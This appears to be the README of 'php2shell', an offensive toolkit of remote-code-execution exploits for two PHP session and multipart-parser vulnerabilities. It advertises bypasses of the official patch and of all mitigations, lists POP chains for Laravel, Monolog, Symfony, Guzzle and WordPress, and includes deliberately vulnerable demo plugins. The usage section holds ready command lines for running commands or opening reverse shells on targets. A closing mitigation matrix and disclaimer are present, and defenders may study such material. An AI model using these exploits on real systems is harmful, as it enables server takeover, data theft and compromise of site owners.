Exploits the interaction between php_serialize and php session handlers: when one endpoint writes sessions with php_serialize (Laravel, Symfony default) and another reads with the php handler (PHP default), injected pipe characters cause arbitrary deserialization at session_start(). 12 built-in POP chains covering current and legacy library versions: - monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest) - laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest) - monolog-cmd/fw: Monolog 1.17.2-2.x - laravel-cmd/fw: illuminate 5.4-8.x - guzzle-fw: Guzzle 4.0-7.x - symfony-cmd/fw: Symfony 2.6-4.4.18 - wordpress-cmd/fw: WordPress 6.4.0-6.4.1 All chains tested end-to-end through the full HTTP exploit flow on PHP 8.3. Accepts custom phpggc chains via --chain-file.
152 lines
6.6 KiB
Markdown
152 lines
6.6 KiB
Markdown
# php2shell — CVE-2026-109618 & CVE-2026-109619
|
||
|
||
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
||
multipart parser and session upload progress handler. Includes three bypass
|
||
exploits that defeat the official security patch and all recommended mitigations.
|
||
|
||
**No external dependencies** — pure Python 3 stdlib.
|
||
|
||
## Vulnerabilities
|
||
|
||
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
|
||
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
|
||
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
|
||
disk with attacker-controlled PHP code. LFI includes it for RCE.
|
||
|
||
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
|
||
data verbatim into the session file. With `cleanup=0`, or via race condition
|
||
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
||
|
||
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
|
||
|
||
## Exploits
|
||
|
||
| Script | Target | Description |
|
||
|--------|--------|-------------|
|
||
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
||
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
||
| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** |
|
||
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
||
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||
|
||
## Prerequisites
|
||
|
||
- Python 3.8+
|
||
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
|
||
- A Local File Inclusion vector in the target application
|
||
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
|
||
|
||
## Usage
|
||
|
||
```bash
|
||
# CVE-2026-109618: OOM exploit
|
||
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
|
||
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
|
||
# Use --no-chunked when nginx has fastcgi_request_buffering off
|
||
# Use --fields / --field-size to tune OOM threshold for target memory_limit
|
||
|
||
# CVE-2026-109619: Session poisoning (direct or race)
|
||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
|
||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
|
||
|
||
# WordPress (auto-detects LFI parameter)
|
||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
|
||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
|
||
|
||
# Patch bypass: race condition on PHP 8.4.27+
|
||
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||
|
||
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
|
||
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||
|
||
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
|
||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
||
```
|
||
|
||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||
|
||
## Session Deserialization (No LFI)
|
||
|
||
`session-deser/exploit.py` exploits `session.serialize_handler` mismatches
|
||
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize`
|
||
(Laravel, Symfony default) and another uses the `php` handler (PHP default),
|
||
the pipe character in session data triggers arbitrary deserialization.
|
||
|
||
Requires a deployment where two endpoints share session storage but use
|
||
different handlers. This occurs when a framework application coexists with
|
||
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).
|
||
|
||
Built-in POP chains for current library versions:
|
||
|
||
| Chain | Library | Tested version |
|
||
|---|---|---|
|
||
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) |
|
||
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) |
|
||
|
||
Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
|
||
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
|
||
via `--chain-file`. See `session-deser/README.md` for details.
|
||
|
||
```bash
|
||
python3 session-deser/exploit.py \
|
||
--inject-url http://target/laravel-endpoint.php \
|
||
--trigger-url http://target/legacy-script.php \
|
||
--chain laravel10-cmd --cmd 'id'
|
||
```
|
||
|
||
## Patch Bypass Findings
|
||
|
||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||
|
||
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
|
||
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
|
||
request includes the file during the upload window. Inherent to the feature design.
|
||
|
||
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
|
||
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
|
||
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
|
||
path. Worker exits code 1 (not the patched code 70), session persists.
|
||
|
||
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
|
||
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
||
poisoning needed. **Bypasses every recommended mitigation.**
|
||
|
||
### Mitigation Matrix
|
||
|
||
| Mitigation | Race | RLIMIT | /proc/fd |
|
||
|---|---|---|---|
|
||
| Patch alone | FAIL | FAIL | FAIL |
|
||
| + `upload_progress=0` | OK | OK | **FAIL** |
|
||
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
|
||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
|
||
| Fix the LFI | OK | OK | OK |
|
||
|
||
### Recommendations
|
||
|
||
1. Set `session.upload_progress.enabled=0` in php.ini
|
||
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
||
3. Fix any LFI vulnerabilities in applications
|
||
4. Set `open_basedir` to restrict filesystem access
|
||
|
||
## WordPress
|
||
|
||
The WordPress exploit requires a plugin that calls `session_start()` and has an
|
||
LFI vector. Two demo plugins are included:
|
||
|
||
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
|
||
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
|
||
template preview, log viewer, and session-based features
|
||
|
||
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
|
||
|
||
## Disclaimer
|
||
|
||
For authorized security testing and research only. Obtain proper authorization
|
||
before testing against any system you do not own.
|